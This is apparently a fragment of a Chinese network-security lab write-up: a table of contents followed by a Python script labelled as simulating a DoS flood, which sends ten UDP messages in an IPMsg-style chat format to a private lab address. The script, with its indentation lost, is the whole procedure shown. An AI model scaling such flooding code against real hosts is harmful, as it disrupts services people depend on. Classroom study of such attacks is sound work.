目录
一、实验简介
二、实验目的
三、实验流程
import socket, time
# 模拟高频发送数据包的DOS攻击行为(流量泛洪)
for i in range(10):
s = socket.socket(type=socket.SOCK_DGRAM) # 以UDP协议进行通信
s.connect(('192.168.80.129', 2425))
packetId = str(time.time())
name = "WIN10"
host = "MyHostName"
command = str(0x00000020)
content = f"This is the message from Python{i}."
message = "1.0:" + packetId + ":" + name + ":" + host + ":" + command + ":" + content
s.send(message.encode())